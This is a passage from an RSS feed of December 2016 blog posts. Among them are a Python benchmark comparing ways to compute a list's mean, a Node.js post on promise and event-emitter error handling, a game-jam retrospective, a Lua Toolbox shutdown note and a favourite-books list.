lengths = [10, 100, 1000]
lsts = [[random.randint(0, 100) for _ in range(length)] for length in lengths]
# [[17, 72, ...another 8], [83, 48, ...another 98], [3, 60, ...another 998]]
```

With our three test lists, we can start writing up solutions. Notice that all our functions will start with an `if lst` check, since we'll only return a value if a list isn't empty.

### The naive solution
Let's start simple. We iterate through the indices of the list, and we keep track of two values as we go: the running sum, and the running count. When we get to the end, we return the sum over the count. That is the *very* definition of how to calculate an average.

```python
def mean1(lst):
    if lst:
        running_sum = 0
        running_count = 0
        for i in range(len(lst)):
            running_sum += lst[i]
            running_count += 1
        return running_sum / running_count
```

This gives us the right solution, and the following runtimes:

List Length | 10 | 100 | 1000
|:---:|:---:|:---:|:---:|
**Runtime (µs)** | 1.483 | 9.789 | 129.695

We can surely do better, though.

### Still naive, but more pythonic
If you work with Python long enough, or if you peruse questions on it on Stack Overflow, you'll see the word *pythonic* pop up again, and again. Generally, it refers to concise and readable patterns that the community tends to follow. Most times, their popularity is based on actual efficiencies, and well deserved, even if their users don't even know that's the case. The word can take the place of "&lt;a href="http://nedbatchelder.com/blog/201011/pythonic.html"&gt;clean&lt;/a&gt;," or "&lt;a href="http://www.pixelmonkey.org/2010/11/03/pythonic-means-idiomatic-and-tasteful"&gt;idiomatic&lt;/a&gt;," but ultimately has no real meaning.

What makes the answer above not pythonic, you ask? The iteration pattern. If you come from a language like C/C++, or even Java, you're probably used to processing iterables via indexing, leading to code like:

```python
for i in range(len(lst)):
    num += lst[i]
```

While this case looks simple, in more complex algorithms it can be hard to keep track of the i's and j's to grab objects out of our list by an index. In Python, most cases of `range(len(lst))` are a mistake that we can avoid via the &lt;a href="https://docs.python.org/3/library/stdtypes.html#iterator-types"&gt;iterator protocol&lt;/a&gt;, or perhaps with `enumerate` if indexed access is unavoidable. This helps us not only make our code more readable, but also more efficient:

```python
def mean2(lst):
    if lst:
        running_sum = 0
        running_count = 0
        for number in lst:
            running_sum += number
            running_count += 1
        return running_sum / running_count
```

As you can see below, we get a nice performance bump, especially as our input list grows:

List Length | 10 | 100 | 1000
|:---:|:---:|:---:|:---:|
**Runtime (µs)** | 0.956 | 7.647 | 97.220

### The preferred way, falling into C
One of the virtues of Python, is that under the hood it is written in very efficient C code. While rolling our own functions tends to be fun, in most cases there is some built-in method that we can call to do the work for us. Knowing that such functions exist, and thinking of them when solving problems is half the battle when writing Python. In this case, its the `sum` and `len` functions that we want to invoke:

```python
def mean3(lst):
    if lst:
        return sum(lst) / len(lst)
```

Since Python's `len` implementation on lists takes &lt;a href="https://wiki.python.org/moin/TimeComplexity"&gt;constant time&lt;/a&gt;, the time complexity is dominated by the `O(N)` operation required to sum, iterating over the numbers only once. (Thanks to Leon Sasson for reminding me that `len` is `O(1)`)

List Length | 10 | 100 | 1000
|:---:|:---:|:---:|:---:|
**Runtime (µs)** | 0.409 | 1.041 | 7.348

This change gives us more than a performance bump. The code is an order of magnitude faster relative to the previous solution and it gives us a considerably simpler answer.

### Using other libraries
It is important to note that there are other libraries that can provide you with a way to compute the mean of a series. In Python 3 there is the `statistics.mean` function, which uses the &lt;a href="https://en.wikipedia.org/wiki/Kahan_summation_algorithm"&gt;Kahan Summation algorithm&lt;/a&gt; to reduce numerical errors at the expense of 50 to 100 times more computation time than our preferred solution, depending on list size.

Additionally you could also use `numpy.mean` which has its own &lt;a href="https://github.com/numpy/numpy/blob/v1.11.0/numpy/core/fromnumeric.py#L2796-L2885"&gt;kind&lt;/a&gt; of &lt;a href="https://github.com/numpy/numpy/blob/v1.11.0/numpy/core/_methods.py#L53-L74"&gt;overhead&lt;/a&gt; due to its array based operations, but can be very efficient when computing very large datasets thanks to other optimizations.

Neither of these are really comparable to the other `mean` functions we've written, as they serve different, and very specific, purposes. However, since `numpy.mean` and `statistics.mean` *do* compute the mean, innocent programmers might use the less performant but specialized variants unknowingly for no reason.

### So what's the best choice?
Obviously, the measured runtime will vary depending on the machine the tests run on. What we actually care about are the ratios. In the table below I have normalized the values in each column to the most efficient version for a given input list, and also included the `numpy` and `statistics` functions for reference:

Solution | Length 10 | Length 100 | Length 1000
|:---:|:---:|:---:|:---:|
`mean1` | 3.6 | 9.4 | 17.7
`mean2` | 2.3 | 7.3 | 13.2
`mean3` | **1.0** | **1.0** | **1.0**
`numpy.mean` | 25.9 | 15.8 | 9.4
`statistics.mean` | 45.9 | 65.5 | 79.2

While all the solutions proposed run in linear `O(N)` time, there are clear winners and losers. If your algorithms don't require the extra precision, nor the array functionality, you should go with the `mean3` version described above.

I would encourage you to play with the code, and generate your own results, by tweaking my script, which you can find &lt;a href="https://gist.github.com/avyfain/758b8a2e35d3a75a21253f2ff4fddb42"&gt;here&lt;/a&gt;.

Can you think of other more efficient, more clever, ways to calculate the mean of a list with Python? &lt;a href="/contact"&gt;Let me know&lt;/a&gt;!

**Update (1/5/17):**
Leon Sasson correctly &lt;a href="https://twitter.com/leonsasson/status/817109236446625793"&gt;pointed out&lt;/a&gt; that `len` is `O(1)` on Python lists. This alters my explanation for `mean3`'s performance, but not its expected time complexity.

&lt;hr /&gt;

* *All tests were run on Python 3.5.2 on a mid-2014 MBPr with 16GB of RAM and a 2.5 GHz Intel Core i7 processor.*
* *Image from "Reptiles and birds. A popular account of the various orders" by Figuier, Louis, 1819-1894 Gillmore, Parker. - Licensed under Public Domain, via &lt;a href="https://archive.org/stream/reptilesbirdspo00figu/reptilesbirdspo00figu#page/27/mode/1up"&gt;Internet Archive Book Images&lt;/a&gt;*</description><author>Avy Faingezicht</author><pubDate>Sun, 25 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/articles/2016/12/25/means/</guid></item><item><title>Promises and Node.js event emitters don't mix</title><link>https://qubyte.codes/blog/promises-and-nodejs-event-emitters-dont-mix</link><description>&lt;p&gt;To many experienced Node developers, the title of this post will seem
intuitively obvious. Nevertheless, it's useful to see what unexpected behaviour
can occur when the two are used together. Here's an example:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; { &lt;span class="hljs-title class_"&gt;EventEmitter&lt;/span&gt; } = &lt;span class="hljs-built_in"&gt;require&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;events&amp;#x27;&lt;/span&gt;);
&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; emitter = &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;EventEmitter&lt;/span&gt;();

&lt;span class="hljs-title class_"&gt;Promise&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;reject&lt;/span&gt;(&lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Error&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;Oh noes!&amp;#x27;&lt;/span&gt;))
  .&lt;span class="hljs-title function_"&gt;catch&lt;/span&gt;(&lt;span class="hljs-function"&gt;&lt;span class="hljs-params"&gt;e&lt;/span&gt; =&amp;gt;&lt;/span&gt; emitter.&lt;span class="hljs-title function_"&gt;emit&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;error&amp;#x27;&lt;/span&gt;, e));
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you run this code (tested in Node v7.3 from a script, not REPL), what do you
expect to happen? I expected an &lt;code&gt;uncaughtException&lt;/code&gt; event, since an event
emitter is emitting an &lt;a href="https://nodejs.org/dist/latest-v7.x/docs/api/events.html#events_error_events"&gt;error event with no event handler&lt;/a&gt;, but that's not
what happens at all. Instead you get an &lt;code&gt;UnhandledPromiseRejectionWarning&lt;/code&gt;!&lt;/p&gt;
&lt;p&gt;This is bad news. If something genuinely nasty has happened, you might want to
emit an error like this which is either explicitly handled or causes an
&lt;code&gt;uncaughtException&lt;/code&gt; event. Uncaught exceptions &lt;em&gt;should&lt;/em&gt; lead to the process
exiting, and a promise has just stifled it.&lt;/p&gt;
&lt;p&gt;So, what happened? Here's a hint:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; { &lt;span class="hljs-title class_"&gt;EventEmitter&lt;/span&gt; } = &lt;span class="hljs-built_in"&gt;require&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;events&amp;#x27;&lt;/span&gt;);
&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; emitter = &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;EventEmitter&lt;/span&gt;();

&lt;span class="hljs-keyword"&gt;try&lt;/span&gt; {
  emitter.&lt;span class="hljs-title function_"&gt;emit&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;error&amp;#x27;&lt;/span&gt;, &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Error&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;Oh noes!&amp;#x27;&lt;/span&gt;));
} &lt;span class="hljs-keyword"&gt;catch&lt;/span&gt; (e) {
  &lt;span class="hljs-variable language_"&gt;console&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;log&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;caught&amp;#x27;&lt;/span&gt;);
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;What do you expect to happen here? Again, at first glance I would have expected
an &lt;code&gt;uncaughtException&lt;/code&gt; event. &lt;code&gt;uncaughtException&lt;/code&gt; events can happen when one of
two conditions is met. The first is an error is thrown but not caught (thus the
name). The second is when an error event is emitted and the emitter has no
handler to deal with it.&lt;/p&gt;
&lt;p&gt;Did I say there were two conditions? I meant to say one! The second condition is
really the first in disguise. When an emitter lacks an error handler and it
emits an error event, the default error handler takes control and &lt;em&gt;throws&lt;/em&gt; the
error. Since event handlers are called synchronously upon event emissions, this:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; { &lt;span class="hljs-title class_"&gt;EventEmitter&lt;/span&gt; } = &lt;span class="hljs-built_in"&gt;require&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;events&amp;#x27;&lt;/span&gt;);
&lt;span class="hljs-keyword"&gt;const&lt;/span&gt; emitter = &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;EventEmitter&lt;/span&gt;();

emitter.&lt;span class="hljs-title function_"&gt;emit&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;error&amp;#x27;&lt;/span&gt;, &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Error&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;Oh noes!&amp;#x27;&lt;/span&gt;));
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;is equivalent to&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-keyword"&gt;throw&lt;/span&gt; &lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Error&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;Oh noes!&amp;#x27;&lt;/span&gt;);
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So, the very first snippet is equivalent to:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-javascript"&gt;&lt;span class="hljs-title class_"&gt;Promise&lt;/span&gt;.&lt;span class="hljs-title function_"&gt;reject&lt;/span&gt;(&lt;span class="hljs-keyword"&gt;new&lt;/span&gt; &lt;span class="hljs-title class_"&gt;Error&lt;/span&gt;(&lt;span class="hljs-string"&gt;&amp;#x27;Oh noes!&amp;#x27;&lt;/span&gt;))
  .&lt;span class="hljs-title function_"&gt;catch&lt;/span&gt;(&lt;span class="hljs-function"&gt;&lt;span class="hljs-params"&gt;e&lt;/span&gt; =&amp;gt;&lt;/span&gt; {
    &lt;span class="hljs-keyword"&gt;throw&lt;/span&gt; e;
  });
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The promise chain captures the thrown error and wraps it as a rejected promise,
which leads to an &lt;code&gt;UnhandledPromiseRejectionWarning&lt;/code&gt; since a second &lt;code&gt;.catch&lt;/code&gt; is
needed in the chain to handle it.&lt;/p&gt;
&lt;p&gt;If you want to ensure that unhandled error events lead to uncaught exceptions
which aren't captured by a &lt;code&gt;catch&lt;/code&gt; or a promise chain, then you can wrap the
emission in a &lt;code&gt;setTimeout&lt;/code&gt; or a &lt;code&gt;setImmediate&lt;/code&gt;.&lt;/p&gt;</description><author>Qubyte Codes</author><pubDate>Sat, 24 Dec 2016 19:00:00 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/promises-and-nodejs-event-emitters-dont-mix</guid></item><item><title>Кижи</title><link>https://rybakov.com/blog/kiji/</link><description>&lt;figure class="full"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/_RYB0718.jpg" /&gt;




&lt;/figure&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Sat, 24 Dec 2016 16:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/kiji/</guid></item><item><title>Vertically striping images for fun</title><link>https://rjp.is/blogging/posts/vertically-striping-images-for-comparison-2/</link><description>In which we create a montage.</description><author>infrequent oscillations</author><pubDate>Sat, 24 Dec 2016 10:46:10 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/vertically-striping-images-for-comparison-2/</guid></item><item><title>Rocambolli and other good things from 2016</title><link>https://ericonotes.blogspot.com/2016/12/rocambolli-and-other-good-things-from.html</link><description>So, I have been working in this javascript game for almost two years now! &lt;a href="http://ericonotes.blogspot.com.br/2015/01/hello.html"&gt;The first A Glass of Lores post was in 31 january 2015&lt;/a&gt;! So I have been learning, and you can say some piles of javascript code has been lying around. 😁&lt;br /&gt;
&lt;br /&gt;
I have been learning a lot for the past years, I have recently read &lt;a href="https://www.amazon.com/gp/product/1449363210/ref=oh_aui_detailpage_o01_s00?ie=UTF8&amp;amp;psc=1"&gt;A Theory of Fun&lt;/a&gt;, for more input on how to make fun games, and I also needed some help on code, so I've read &lt;a href="https://www.amazon.com/gp/product/0990582906/ref=oh_aui_detailpage_o00_s00?ie=UTF8&amp;amp;psc=1"&gt;Game Programming Patterns&lt;/a&gt;, and a long list of web articles that I can put on a new post once I can find all of them! Also, with &lt;a href="https://www.amazon.com/gp/product/006124189X/ref=oh_aui_detailpage_o02_s00?ie=UTF8&amp;amp;psc=1"&gt;Influence: The Psychology of Persuasion&lt;/a&gt; and &lt;a href="https://www.amazon.com/Contagious-Things-Catch-Jonah-Berger/dp/1451686587/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1482542928&amp;amp;sr=1-1&amp;amp;keywords=contagious"&gt;Contagious: Why Things Catch On&lt;/a&gt; I started my foray in understanding basic marketing. I am trying to also learn WebGL by reading&amp;nbsp;&lt;a href="https://www.amazon.com/WebGL-Programming-Guide-Interactive-Graphics/dp/0321902920/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1482543245&amp;amp;sr=1-1&amp;amp;keywords=webgl+kouichi+matsuda"&gt;WebGL Programming Guide: Interactive 3D Graphics Programming&lt;/a&gt;&amp;nbsp;and at last I decided to install Unity in Ubuntu and try to learn C# - I am approaching this in a slow pace since I plan to finish my main game before diving too much on it. Let's see things done...&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Rocambolli&lt;/h3&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://eri0o.itch.io/rocambolli"&gt;&lt;img alt="Rocambolli The Game" border="0" height="184" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj08t5cU2LqCyR5ceNCQNHOgc-gI7NRw4Pv8oKyXBpIe2g6RpnBYt5tH9bC6-hKy8wdRwXHYrZ0Lm2sZDYy4lyQ0KD2AoC_MfmWxJAfXXne1-bCSHt0fdE6h9rO5DSNAOU-xYhP7LvNitdg/s320/rocamscreen.png" title="" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Recently I participated in Ludum Dare 37, which had the theme One Room. It has been a ton of time since I participated in similar events, and this one was marked by going outside of my home during theme announcement, and meeting the really great Rafael Giordanno who motivated me a lot by talking his previous 7 short games, his learning, and his teaching. I was a bit unsure if I would be able to do something, going compo, which means doing a game alone, and doing everything, planning, level design, code, graphics, music, sounds! But after he told me how prepared he was, and that he was curious to what I was going to do, damn, I was going to start and finish something in that weekend.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJc1QRGXwp6FgrKuH8JsN2DnxkFYgzqCBDUWp14O0oZXNsE-mFlgFfcYMHokIL7eIatgv7Bk7LITRA9AMSLDAPHigaa-62Z8DVfAx8iJSZS_k1m5PnyY1aefxsXkncyRZy6BzbhpdjT62y/s1600/ld_jam_test.gif"&gt;&lt;img border="0" height="192" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJc1QRGXwp6FgrKuH8JsN2DnxkFYgzqCBDUWp14O0oZXNsE-mFlgFfcYMHokIL7eIatgv7Bk7LITRA9AMSLDAPHigaa-62Z8DVfAx8iJSZS_k1m5PnyY1aefxsXkncyRZy6BzbhpdjT62y/s1600/ld_jam_test.gif" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;br /&gt;&lt;/div&gt;
What followed next was some crazy fast coding, in javascript, and 25 hour later I had a really ugly code, that generated &lt;a href="https://eri0o.itch.io/rocambolli"&gt;this platformer game, Rocambolli&lt;/a&gt;, with sounds and everything working. Oh, and a Itch.io account! And &lt;a href="https://github.com/ericoporto/rocambolli"&gt;the github with everything is here&lt;/a&gt;. This was awesome, and I want to do this again!&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
KTG - Keyboard Touch and Gamepad&lt;/h3&gt;
Under heavy time constraints I coded a spaghetti &lt;a href="https://github.com/ericoporto/rocambolli/blob/934119835a1eca6361371d72ff4c9ef2f042e9ed/interface.js"&gt;interface.js&lt;/a&gt;, this code is awful, but it worked, and was great with keyboard and gamepad working! Rocambolli could be played. Two days later I had an idea to do this proper, and I created &lt;a href="https://github.com/ericoporto/ktg"&gt;the KTG - Keyboard, Touch and Gamepad project&lt;/a&gt;. The idea is to have a simple javascript library that could unify how a simple javascript game would deal with keys, be them on touch screen, a keyboard or a joystick. I really like it! If you are doing something with javascript, this could be a simple drop in solution. I plan to mature it and migrate it into my fgmk project! Now after Ludum Dare I have moved KTG to Rocambolli so it can be played in mobile too!&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Fullscreen Button&lt;/h3&gt;
Also, when doing a tiny javascript game, I find myself often in need for a fullscreen button, since going fullscreen is still not easy on mobile without adding the page to home screen. So if you are ever in need of this, &lt;a href="https://github.com/ericoporto/fullscreen"&gt;I got you covered now&lt;/a&gt;!&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
A Glass of Lores&lt;/h3&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi7lZCNeJwqGztUfxosykh7ZngGrW1g7-MV4FsCxMPP5S46wgkLHhd9JOsnnlaWzrQV2mm7fbP6lvPrrZBs6uCFA5EANufUJmp-bdU98JyiLwqwAev40EXfCRRjG2elRpDC3aMWiu6nWGn/s1600/IMG_20160923_134315.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhi7lZCNeJwqGztUfxosykh7ZngGrW1g7-MV4FsCxMPP5S46wgkLHhd9JOsnnlaWzrQV2mm7fbP6lvPrrZBs6uCFA5EANufUJmp-bdU98JyiLwqwAev40EXfCRRjG2elRpDC3aMWiu6nWGn/s320/IMG_20160923_134315.jpg" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
I will leave just &lt;a href="https://www.youtube.com/watch?v=6q1QfO5zBqU"&gt;a link to a youtube video&lt;/a&gt; of a somewhat recent status of the first scene in A Glass of Lores, just so people can know the project is going forward! Here's something: making a RPG takes a long time.&lt;br /&gt;
&lt;br /&gt;
Happy holidays, Merry Christmas, and see you next time. 🙌&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</description><author>Erico Notes</author><pubDate>Sat, 24 Dec 2016 04:19:05 GMT</pubDate><guid isPermaLink="true">https://ericonotes.blogspot.com/2016/12/rocambolli-and-other-good-things-from.html</guid></item><item><title>Holmesword Bound</title><link>https://xavd.id/blog/post/holmesword-bound/</link><description>undefined&lt;br /&gt;&lt;br /&gt;&lt;a href="https://xavd.id/blog/post/holmesword-bound/"&gt;Read the whole thing&lt;/a&gt;.</description><author>The David Brownman Blog</author><pubDate>Sat, 24 Dec 2016 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xavd.id/blog/post/holmesword-bound/</guid></item><item><title>Tit-For-Tat Office Hours with a Seed-Stage VC</title><link>https://www.codingvc.com/p/tit-for-tat-office-hours-with-a-seed-stage-vc</link><description>For a while now, I&amp;#8217;ve wanted to try holding office hours.</description><author>Coding VC</author><pubDate>Fri, 23 Dec 2016 05:08:00 GMT</pubDate><guid isPermaLink="true">https://www.codingvc.com/p/tit-for-tat-office-hours-with-a-seed-stage-vc</guid></item><item><title>William Chumley proposes "obscene content" bill on personal computers</title><link>https://stop.zona-m.net/2016/12/william-chumley-proposes-obscene-content-bill-on-personal-computers/</link><description>This seems real, and if it is..   This seems real, and if it is.. I thought Italy was among the best when it comes to, huh, less than smart law proposals about computers and the Internet, but it&amp;rsquo;s not match for South Carolina. Quoting from RT America:
 A bill pre-filed by Republican State Representative William Chumley would require that personal computers and other devices block internet access to pornography and obscene content This &amp;ldquo;Human Trafficking Prevention Act&amp;rdquo; would fine manufacturers or sellers of electronic devices that do not install the blocks, whether they are created in factories or are at the point of sale.</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 22 Dec 2016 11:15:26 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2016/12/william-chumley-proposes-obscene-content-bill-on-personal-computers/</guid></item><item><title>Goodbye Lua Toolbox</title><link>https://blog.separateconcerns.com/2016-12-22-goodbye-lua-toolbox.html</link><description>&lt;p&gt;In November 2013, I gave
&lt;a href="http://files.catwell.info/presentations/2013-11-lua-workshop-lua-ecosystem"&gt;a talk&lt;/a&gt;
about the Lua Ecosystem at &lt;a href="https://www.lua.org/wshop13.html"&gt;Lua Workshop&lt;/a&gt;, in
which I mentioned that finding the best module for some job could be hard and
introduced a website I had built to solve that problem.&lt;/p&gt;
&lt;p&gt;That website, Lua Toolbox, was inspired by the popular
&lt;a href="https://www.ruby-toolbox.com/"&gt;Ruby Toolbox&lt;/a&gt;. It had two major features:
modules classification (“labels”) and endorsements by users. I had written it
using Leaf Corcoran’s relatively new Lua Web framework,
&lt;a href="http://leafo.net/lapis/"&gt;Lapis&lt;/a&gt;, and Redis as the datastore.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Lua Toolbox homepage" src="img/lua-toolbox.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;In August 2014, MoonRocks, one of Leaf’s many projects, became the official
website for LuaRocks. It offered many features including user accounts,
manifests and the ability to upload rocks on the Web. We quickly
&lt;a href="https://github.com/catwell/lua-toolbox/issues/18"&gt;started to discuss&lt;/a&gt;
merging Lua Toolbox into MoonRocks, but it led nowhere at first and the two
websites continued their separate lives.&lt;/p&gt;
&lt;p&gt;Eventually, in March 2016, Etiene Dalcol
&lt;a href="https://github.com/luarocks/luarocks-site/pull/86"&gt;took up the project&lt;/a&gt;.
By September her and Leaf had written the code for labels and “follows”,
which replace endorsements. They also added a feature for users to convert
their Toolbox endorsements to LuaRocks follows. I sent them a data dump which
they imported into the production LuaRocks website, and I turned Lua Toolbox
read-only.&lt;/p&gt;
&lt;p&gt;Today, I finally replaced the whole website by
&lt;a href="https://lua-toolbox.com"&gt;a static page&lt;/a&gt;
redirecting users to LuaRocks. In the end, the Toolbox had 232 users and
referenced 1217 modules. The source code
&lt;a href="https://github.com/catwell/lua-toolbox"&gt;remains available&lt;/a&gt; but
I would not advise you to do anything with it (it uses old Lapis APIs, from
a time where plain Lua support was not official).&lt;/p&gt;</description><author>Separate Concerns</author><pubDate>Thu, 22 Dec 2016 10:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.separateconcerns.com/2016-12-22-goodbye-lua-toolbox.html</guid></item><item><title>Technology Rolls On, Better Roll With It</title><link>https://blog.herlein.com/post/technology-rolls-on/</link><description>&lt;p&gt;&lt;a href="https://www.linkedin.com/pulse/technology-rolls-better-roll-greg-herlein/"&gt;Technology Rolls On, Better Roll With It&lt;/a&gt;&lt;/p&gt;</description><author>Greg Herlein</author><pubDate>Thu, 22 Dec 2016 01:29:39 GMT</pubDate><guid isPermaLink="true">https://blog.herlein.com/post/technology-rolls-on/</guid></item><item><title>MH-Z19 CO2 sensor reader, logger and visualiser</title><link>https://smcleod.net/2016/12/mh-z19-co2-sensor-reader-logger-and-visualiser/</link><description>&lt;!-- markdownlint-disable MD025 --&gt;
&lt;h1 id="mh-z19-co2-sensor-reader-logger-and-visualiser"&gt;MH-Z19 CO2 sensor reader, logger and visualiser&lt;/h1&gt;
&lt;p&gt;&lt;img alt="plot" src="https://user-images.githubusercontent.com/862951/52826593-a98a5400-3115-11e9-868a-72a763b6d587.jpg" /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reads data from UART(serial)-connected MH-Z19 (or MH-Z14) sensor using python 3.&lt;/li&gt;
&lt;li&gt;If you dare to install nodejs you can visualise the logged data (using html and plotly.js library).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Repository: &lt;a href="https://github.com/sammcj/CO2-Logger"&gt;sammcj/CO2-Logger&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="usage"&gt;Usage&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Note this post is from 2016, in 2021 I replaced my custom Co2 loggers with an &lt;a href="https://aranet.com/products/aranet4/"&gt;Aranet4&lt;/a&gt;. While very expensive, is and excellent off-the-shelf solution, with many features.&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="connection"&gt;Connection&lt;/h3&gt;
&lt;p&gt;Sensor can be queried using 3.3v UART at 9600 bps. Sensor main feed voltage is 5v.&lt;/p&gt;</description><author>smcleod.net</author><pubDate>Wed, 21 Dec 2016 07:37:38 GMT</pubDate><guid isPermaLink="true">https://smcleod.net/2016/12/mh-z19-co2-sensor-reader-logger-and-visualiser/</guid></item><item><title>Favorite Books Read in 2016</title><link>http://dominik.net/favorite-books-read-in-2016.html</link><description>&lt;p&gt;My favorite books out of the 61 books (~24,000 pages) that I read in 2016:&lt;/p&gt;
&lt;h2 id="sci-fi-fantasy-and-speculative-fiction"&gt;Sci-Fi, Fantasy, and Speculative Fiction&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Culture_series"&gt;Culture series&lt;/a&gt; — I read the entire ten book series over the course of 2016. The Culture series is set in the distant future where enlightened AIs run society and humans, freed from a life of labor, have to deal with the rest of the galaxy. What is life like when material want is eradicated? What about encounters with less enlightened aliens? Or perhaps backward planets lagging in development? All this and more is thoughtfully and philosophically dealt with in this amazing series. My favorite out of the ten books was the brilliant &lt;a href="https://www.amazon.com/Matter-Culture-Novel-Book-8-ebook/dp/B000VMHI98/ref=as_li_ss_tl?ie=UTF8&amp;amp;qid=1482361214&amp;amp;sr=8-3&amp;amp;keywords=matter&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=69e78e6fd6912836bc1fbc8f34cbb900"&gt;Matter&lt;/a&gt;, but I’d recommend starting with &lt;a href="https://www.amazon.com/Player-Games-Culture-Novel-Book-ebook/dp/B002WM3HC2/ref=as_li_ss_tl?ie=UTF8&amp;amp;qid=1482361336&amp;amp;sr=8-1&amp;amp;keywords=player+of+games&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=1f2c2e4c480c0d6736afbc04f3506309"&gt;Player of Games&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://en.wikipedia.org/wiki/Hainish_Cycle"&gt;Hainish Cycle&lt;/a&gt; — Continuing in my classic SF adventures, I tore through several of Ursula Le Guin’s novels. She writes with a poignancy and precision that makes her prose sing, and treats with themes that are larger than what’s typically encountered in science fiction. Among the books in the cycle, &lt;a href="https://www.amazon.com/Dispossessed-Ambiguous-Utopia-Hainish-Cycle-ebook/dp/B000FC11GA/ref=as_li_ss_tl?ie=UTF8&amp;amp;qid=1482361452&amp;amp;sr=8-1&amp;amp;keywords=the+dispossessed&amp;amp;linkCode=ll1&amp;amp;tag=dominiknet-20&amp;amp;linkId=e230e201546eb808a124215a32f032e4"&gt;The Dispossessed&lt;/a&gt; stood out for me as a moving tale of two civilizations riven by decades of animosity. The entire work itself is beautifully and carefully framed, making it a work of art in its composition and form.&lt;/p&gt;
